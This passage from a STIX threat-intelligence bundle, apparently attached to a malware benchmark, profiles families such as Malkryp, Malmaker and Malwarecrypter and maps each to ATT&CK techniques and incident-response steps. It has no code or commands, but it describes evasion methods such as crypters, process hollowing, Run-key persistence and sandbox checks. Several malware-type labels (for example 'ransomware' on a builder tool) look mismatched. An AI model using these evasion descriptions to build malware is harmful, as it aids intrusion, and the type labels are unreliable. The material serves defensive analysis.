a remote server, a drop-box, or an attacker-controlled email address on a scheduled basis.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of MailSpy on a corporate endpoint is a critical security incident. It constitutes a massive violation of user privacy, violates regulatory compliance (e.g., GDPR, HIPAA), and guarantees the compromise of confidential corporate communications, intellectual property, and client data.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation and Legal Hold:</strong> Disconnect the machine from the network immediately to halt the active exfiltration of communications. If insider threat is suspected, the machine must be placed on legal hold, and HR/Legal counsel must be involved before taking any destructive action.</li>\n<li><strong>Forensic Analysis:</strong> Treat the endpoint as a potential crime scene. Capture a forensic image of the hard drive and analyze EDR telemetry to determine exactly what data was exfiltrated and to what external destination.</li>\n<li><strong>Mandatory Credential Reset and Re-imaging:</strong> It must be assumed that all passwords typed on the machine (especially email credentials) have been compromised. All associated enterprise credentials must be reset globally. The machine must undergo a complete bare-metal wipe and re-image.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware.MailSpy",
        "Riskware.EmailMonitor",
        "Tool.Surveillance"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mailspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mailspy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83a7130c-a2b3-5883-a30d-35540728ce04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--631c46da-1d6c-5644-ad42-68aaf5ef7cfa",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailspy exhibits technique T1114.001 (Email Collection: Local Email Collection)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--21710537-be1b-5510-a899-7363b96c63fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1114.002: Remote Email Server Collection",
      "description": "MITRE ATT&CK Technique T1114.002 (Remote Email Server Collection) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1114.002",
          "url": "https://attack.mitre.org/techniques/T1114/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--baa65744-f469-5b97-a2a2-5b9866177194",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--631c46da-1d6c-5644-ad42-68aaf5ef7cfa",
      "target_ref": "attack-pattern--21710537-be1b-5510-a899-7363b96c63fd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailspy exhibits technique T1114.002 (Remote Email Server Collection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0696a21d-c9af-5e9b-9963-5f454f5ff5c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--631c46da-1d6c-5644-ad42-68aaf5ef7cfa",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailspy exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9a2368c7-f6fe-53f4-80f2-bb0dc4d6c71a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Malex",
      "description": "Malex (tracked across endpoint security engines and antimalware research telemetry under signatures including Trojan:Win32/Malex, Trojan:Win32/Malex.gen!A, and Trojan.Malex) is a heuristic and generic detection signature applied to obfuscated Windows trojan binaries, modular loaders, and stagers active since 2013. Designed to bypass traditional signature scanning through dynamic packing, custom crypters, and polymorphic code transformations, Malex variants execute unauthorized system modifications upon compromise. The malware typically establishes persistence by creating entries in the Windows Run keys, disables host security tools and event logging, and injects malicious threads into legitimate processes such as svchost.exe or explorer.exe. Malex binaries communicate with remote threat actor infrastructure over encrypted HTTP/HTTPS protocols, staging secondary payloads ranging from infostealers and credential dumpers to ransomware and remote access implants. (Observed samples in benchmark: 30)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Malex",
        "Trojan:Win32/Malex.gen!A",
        "Trojan.Malex",
        "Win32/Malex",
        "Trojan:Win32/Malex.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Malex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/malex"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2da7b70c-84ea-5608-9bad-66d10e9f3485",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Malkryp",
      "description": "<h3>Executive Summary</h3>\nMalkryp (often identified as Malkryp, MalKrypt, or similar variations) is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalkryp is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Malkryp operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Malkryp ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Malkryp receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Malkryp infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Malkryp executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Malkryp frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Malkryp",
        "Downloader.Malkryp",
        "Win32/Malkryp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Malkryp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/malkryp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--984bf8ce-65e3-522a-b012-383d12aecdb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2da7b70c-84ea-5608-9bad-66d10e9f3485",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malkryp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b853a6e7-3917-55ff-a2fd-6022ac44f05b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2da7b70c-84ea-5608-9bad-66d10e9f3485",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malkryp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e2f839e-6228-50c5-a798-5c26c9328e24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2da7b70c-84ea-5608-9bad-66d10e9f3485",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malkryp exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ebfc122c-d9ea-585f-bcc3-fd11384b2f5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Malmaker",
      "description": "<h3>Executive Summary</h3>\n\"Malmaker\" (often flagged as HackTool.Malmaker or Riskware.MalwareBuilder) is not a specific malware family, but a detection classification for software utilities explicitly designed to generate, compile, or obfuscate customized malware payloads. These \"builders\" are frequently sold on cybercrime forums (Malware-as-a-Service) and allow even unskilled attackers to rapidly generate sophisticated trojans, ransomware, or botnet agents tailored to evade specific antivirus signatures.\n\n<h3>Technical Architecture and Capabilities</h3>\nMalmaker utilities act as the \"compilers\" of the cybercrime ecosystem. They provide a graphical user interface (GUI) or a command-line interface that allows an attacker to configure a malware payload before generating the final executable.\n\nKey features of a Malmaker utility include:\n<ul>\n<li><strong>Payload Customization:</strong> The attacker can input their specific Command-and-Control (C2) IP address, configure persistence mechanisms (e.g., choose which registry key to modify), and select which features (like keylogging or screen capture) to enable in the generated trojan.</li>\n<li><strong>Built-in Obfuscation:</strong> Advanced builders include crypters and packers. These algorithms encrypt the core malicious code, ensuring the generated executable has a unique cryptographic hash and bypasses static antivirus signatures.</li>\n<li><strong>Icon and Extension Spoofing:</strong> The builder allows the attacker to disguise the final executable by applying the icon of a legitimate program (like MS Word or Adobe Reader) and utilizing techniques (like Right-to-Left Override) to spoof the file extension.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nThe detection of a Malmaker utility on a corporate endpoint is a catastrophic security event. It definitively indicates that the compromised machine is being used by a threat actor (or a malicious insider) to actively develop and compile malware, likely to launch attacks against the internal network or to use the corporate infrastructure as a staging ground for external attacks.\n\n<h3>Incident Response and Advanced Analysis</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint immediately. The presence of a builder implies the user has deep malicious intent or the machine is fully controlled by an external attacker.</li>\n<li><strong>Forensic Code Extraction:</strong> Do not simply delete the builder. Forensic analysts must extract the configuration files associated with the Malmaker utility to understand what specific malware payloads were being generated and to identify the C2 infrastructure the attacker was configuring.</li>\n<li><strong>Enterprise-Wide Sweeps:</strong> If a builder generated a custom trojan, that trojan was likely deployed within the environment. Use the IOCs extracted from the builder to perform a massive sweep of the entire network to locate the deployed payloads.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Malmaker",
        "Riskware.MalwareBuilder",
        "Trojan.Builder"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Malmaker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/malmaker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1789c58b-3f57-5fa2-a855-bb56a2f370bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebfc122c-d9ea-585f-bcc3-fd11384b2f5f",
      "target_ref": "attack-pattern--0c8593ed-034c-588e-bbe4-368c1f223c7a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malmaker exhibits technique T1587.001 (Develop Capabilities: Malware)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae402cfc-8766-57af-82d1-afb5726288dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebfc122c-d9ea-585f-bcc3-fd11384b2f5f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malmaker exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06334dda-abba-5c8c-9ad5-44ad7ec4257e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebfc122c-d9ea-585f-bcc3-fd11384b2f5f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malmaker exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d0c3e7f5-2891-5e15-aaf2-e800d7292f18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Malushka",
      "description": "Trojan:Win32/Malushka is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Malushka</b><br>To an end-user, a Malushka infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Malushka is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Malushka is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Malushka frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Malushka reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Malushka",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/malushka"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0d85efa-e46e-5e06-9583-d1362c05c98d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0c3e7f5-2891-5e15-aaf2-e800d7292f18",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malushka exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6b2ae73-0211-5f4a-82bb-0418ab9cf3e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0c3e7f5-2891-5e15-aaf2-e800d7292f18",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malushka exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47dc319d-433a-538d-8dbb-72b5442276f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0c3e7f5-2891-5e15-aaf2-e800d7292f18",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malushka exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00f510b3-df84-5b42-8356-a3313f395b70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0c3e7f5-2891-5e15-aaf2-e800d7292f18",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malushka exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ee464a0-59d4-5f3a-a0e5-cc6ceb7c9618",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0c3e7f5-2891-5e15-aaf2-e800d7292f18",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malushka exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0102e563-0904-5194-abe3-6d297a4b1418",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Malwar",
      "description": "<h3>Executive Summary</h3>\n\"Malwar\" is a highly generic heuristic identifier often utilized by antivirus engines to flag a file that exhibits suspicious, Trojan-like characteristics but does not match the exact static signature of a known malware family. It generally denotes a basic, underlying Trojan or Dropper framework that provides an attacker with unauthorized access or payload delivery capabilities on a compromised Windows host.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nBecause this is a generic detection, the distribution methods vary wildly, ranging from malicious email attachments (macros in Office documents) to drive-by downloads from exploit kits, or bundled with pirated software.\n\nUpon execution, files flagged as generic \"Malwar\" typically exhibit foundational malicious behaviors:\n<ul>\n<li><strong>Defense Evasion:</strong> The executable is often packed (using UPX or custom packers) or obfuscated to hide its true intent from static analysis.</li>\n<li><strong>Persistence:</strong> The malware will attempt to survive system reboots by modifying the Windows Registry (e.g., `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) or dropping itself into a hidden directory within the `%AppData%` folder.</li>\n<li><strong>C2 Communication:</strong> The malware will initiate outbound network connections to an attacker-controlled command-and-control (C2) server. This connection is used to transmit basic system telemetry (OS version, IP address) and await further instructions, often functioning as a \"loader\" to download more specialized payloads.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA \"Malwar\" detection, while generic, is a serious Indicator of Compromise (IoC). It signifies that malicious code has successfully executed on the endpoint. If the generic Trojan acts as a loader, it could lead to severe secondary infections, including ransomware deployment or data exfiltration.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Disconnect the infected machine from the network immediately to sever the connection to the C2 server and prevent the download of secondary payloads.</li>\n<li><strong>Behavioral Analysis (EDR):</strong> Utilize EDR solutions to trace the execution path of the detected file. Determine how it arrived on the system (e.g., spawned by `outlook.exe` or a web browser) and identify any child processes it created.</li>\n<li><strong>Endpoint Cleanup and Credential Reset:</strong> Perform a full system scan with a reputable enterprise anti-malware solution. Because the ultimate intent of the generic Trojan is often unknown, it is highly recommended to force a password reset for the user associated with the compromised endpoint as a precautionary measure.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Malwar",
        "Win32/Trojan.Heur",
        "Malware.Generic"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Malwar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/malwar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce960c30-8176-5fc6-8369-6be46685efa1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0102e563-0904-5194-abe3-6d297a4b1418",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malwar exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4936a423-4266-5719-a764-c0b2cc18fdd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0102e563-0904-5194-abe3-6d297a4b1418",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malwar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c701345-876d-5c12-bfa1-34877935f93a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0102e563-0904-5194-abe3-6d297a4b1418",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malwar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cc84cb16-1adb-5eae-be8a-713b2a08b2d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Malwarecrypter",
      "description": "Trojan:Win32/Malwarecrypter is a generic, heuristic detection name used by endpoint security solutions to flag executable files that have been obfuscated using custom packing, encryption, or virtualization tools ('crypters'). Threat actors use crypters specifically to take known, detectable malware (like an old RAT or stealer) and wrap it in a new layer of encryption, generating a 'Fully Undetectable' (FUD) binary that bypasses static antivirus signatures.<br><br><b>Understanding Crypter Heuristics</b><br>To an end-user, a Malwarecrypter execution is usually invisible. For a security analyst, this alert is a major red flag indicating sophisticated defense evasion. The security engine did not recognize the underlying payload, but it recognized the *structure* of the file\u2014abnormal PE headers, highly randomized entropy, or suspicious unpacking routines in memory\u2014identifying it as a malicious wrapper.<br><br><b>Execution and Evasion Mechanics</b><br>The infection typically begins with spearphishing (`T1566.001`). When the victim executes the crypted `.exe` file (`T1204.002`), the wrapper code runs first. It often performs anti-sandbox and anti-debugging checks (`T1497.001`). If the environment is deemed safe, the crypter decrypts the true malicious payload directly into memory (`T1027.002`). It utilizes techniques like Process Hollowing or DLL Injection (`T1055.012`) to inject that unencrypted payload into a legitimate system process (like `explorer.exe` or `svchost.exe`). The crypter wrapper then terminates, leaving the invisible payload running from memory, establishing its own persistence and C2 channels.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden secondary payload (often a RAT, stealer, or ransomware). Incident responders should closely monitor EDR logs for 'Anomalous Child Process Spawning'. A major IoC is an unknown executable launching a standard Windows utility (like `svchost.exe`) and injecting code into it. Static analysis of the dropper is difficult due to the encryption; analysts must utilize dynamic sandboxing or memory forensics to extract the unpacked payload. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Malwarecrypter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/malwarecrypter"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9650872b-f3ff-5a3f-8c7e-68720a5afb99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc84cb16-1adb-5eae-be8a-713b2a08b2d4",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malwarecrypter exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ed6c527-8c65-5faf-bdae-a76c2f4d892b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc84cb16-1adb-5eae-be8a-713b2a08b2d4",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malwarecrypter exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81a46cd4-e77e-591b-8243-23f55e455a58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc84cb16-1adb-5eae-be8a-713b2a08b2d4",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malwarecrypter exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63462cb0-daf4-5d5c-a115-4d255b2a347c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc84cb16-1adb-5eae-be8a-713b2a08b2d4",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malwarecrypter exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87c979e6-88c1-509b-866c-b7c0b49efc92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Malwares",
      "description": "Malware:Win32/Malwares is a highly generic heuristic detection name used as a 'catch-all' bucket by various antivirus engines. It does not represent a specific family, campaign, or threat actor. Instead, it indicates that the AV engine's behavioral analysis, machine learning models, or generic static signatures have identified a file as exhibiting overwhelmingly malicious characteristics, but it cannot confidently classify it into a known, named family (like Emotet or Trickbot).<br><br><b>Understanding Generic 'Malwares' Detections</b><br>To an end-user, this is a standard virus alert. For a SOC analyst or incident responder, a generic 'Malwares' detection is frustrating because it lacks specific context. It means the file is bad, but provides no immediate intelligence on its intent (e.g., is it a ransomware dropper, an info-stealer, or a low-level adware?). It requires immediate, manual investigation (`T1204.002`).<br><br><b>Execution and Analysis Mechanics</b><br>Files flagged under this generic moniker often utilize heavy packing, obfuscation (`T1027`), or novel delivery mechanisms that obscure their true payload from static scanners. The AV engine likely detected suspicious API calls, anomalous entropy, or execution patterns (like attempting to inject into `svchost.exe` - `T1055`) that trigger heuristic rules. Because the exact threat is unknown, the responder must 